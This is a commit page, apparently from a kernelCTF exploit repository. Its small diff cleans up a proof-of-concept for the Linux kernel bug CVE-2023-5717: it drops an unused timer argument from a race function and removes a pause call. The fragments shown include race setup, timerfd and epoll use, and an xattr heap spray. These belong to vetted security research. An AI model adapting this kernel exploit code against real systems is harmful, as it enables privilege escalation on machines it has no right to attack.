Skip to content

Commit da610b0

Browse files
committed
Fix useless codes
1 parent fbf5673 commit da610b0

File tree

2 files changed

+2
-3
lines changed
  • pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55

2 files changed

+2
-3
lines changed

pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c

+2-3
Original file line numberDiff line numberDiff line change
@@ -289,7 +289,7 @@ void print_proc_self_maps_raw() {
289289
}
290290

291291
int counter_init = 0;
292-
void race(int group_leader, int timer) { // caller must have ownership of the group
292+
void race(int group_leader) { // caller must have ownership of the group
293293
int pipefd[2];
294294
uint64_t buf[0x2000] = {0, };
295295
char buffer[0x100] = {0x41, };
@@ -496,7 +496,7 @@ pid_t add_siblings_fork(int group_leader, int cnt, int ctx_pid, int is_racer){
496496

497497
for (int _; _<TRY_PER_ITER; _++) {
498498
while (!atomic_load(&race_go));
499-
race(group_leader, MIN + _*50);
499+
race(group_leader);
500500

501501
}
502502
}
@@ -724,7 +724,6 @@ int main(void) {
724724
tfd = timerfd_create(CLOCK_MONOTONIC, 0);
725725
do_epoll_enqueue(tfd);
726726
spray_xattr_page(0x3000, 2048, 0);
727-
paused();
728727

729728
alarm(900);
730729
exploit();

0 commit comments

Comments
 (0)